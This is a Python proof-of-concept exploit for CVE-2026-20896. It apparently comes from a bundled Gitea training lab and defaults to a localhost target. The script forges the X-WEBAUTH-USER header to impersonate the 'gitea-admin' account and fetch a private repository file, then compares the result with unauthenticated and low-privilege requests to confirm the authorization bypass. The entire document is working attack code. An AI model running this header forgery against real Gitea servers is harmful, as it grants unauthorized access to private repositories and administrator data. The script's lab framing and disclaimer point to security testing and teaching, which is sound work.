#!/usr/bin/env python3 """CVE-2026-20896 local-lab proof of concept. Use only against systems you own or are explicitly authorized to test. """ from __future__ import annotations import argparse import sys import urllib.error import urllib.parse import urllib.request from dataclasses import dataclass PROOF_PATH = "/gitea-admin/private-proof/raw/branch/main/proof.txt" TARGET_USER = "gitea-admin" CONTROL_USER = "student01" EXPECTED_PROOF = "CVE-2026-20896_AUTH_BYPASS_CONFIRMED" @dataclass(frozen=True) class Response: status: int body: str def request(url: str, username: str | None = None, timeout: float = 10.0) -> Response: headers = {"User-Agent": "CVE-2026-20896-PoC/1.0"} if username is not None: headers["X-WEBAUTH-USER"] = username req = urllib.request.Request(url, headers=headers) try: with urllib.request.urlopen(req, timeout=timeout) as response: return Response(response.status, response.read().decode("utf-8", errors="replace").strip()) except urllib.error.HTTPError as error: return Response(error.code, error.read().decode("utf-8", errors="replace").strip()) def build_proof_url(base_url: str) -> str: parsed = urllib.parse.urlsplit(base_url) if parsed.scheme not in {"http", "https"} or not parsed.netloc: raise ValueError("target must be an absolute http:// or https:// URL") return base_url.rstrip("/") + PROOF_PATH def parse_args() -> argparse.Namespace: parser = argparse.ArgumentParser( description="Confirm CVE-2026-20896 in the bundled local Gitea lab." ) parser.add_argument( "target", nargs="?", default="http://127.0.0.1:3000", help="base URL of the authorized Gitea test target (default: %(default)s)", ) parser.add_argument( "--timeout", type=float, default=10.0, help="HTTP timeout in seconds (default: %(default)s)", ) return parser.parse_args() def main() -> int: args = parse_args() try: proof_url = build_proof_url(args.target) baseline = request(proof_url, timeout=args.timeout) control = request(proof_url, CONTROL_USER, args.timeout) exploit = request(proof_url, TARGET_USER, args.timeout) except (ValueError, urllib.error.URLError, TimeoutError, OSError) as error: print(f"[-] Request failed: {error}", file=sys.stderr) return 2 print(f"[*] Proof URL: {proof_url}") print(f"[*] No identity header: HTTP {baseline.status}") print(f"[*] student01 header: HTTP {control.status}") print(f"[*] gitea-admin header: HTTP {exploit.status}") bypass_confirmed = ( baseline.status != 200 and control.status != 200 and exploit.status == 200 and exploit.body == EXPECTED_PROOF ) if bypass_confirmed: print("[+] VULNERABLE: forged X-WEBAUTH-USER bypassed authorization") print(f"[+] Proof: {exploit.body}") return 0 print("[-] NOT CONFIRMED: the expected authorization differential was not observed") if exploit.status == 200 and exploit.body: print(f"[*] Unexpected response body: {exploit.body[:200]}") return 1 if __name__ == "__main__": raise SystemExit(main())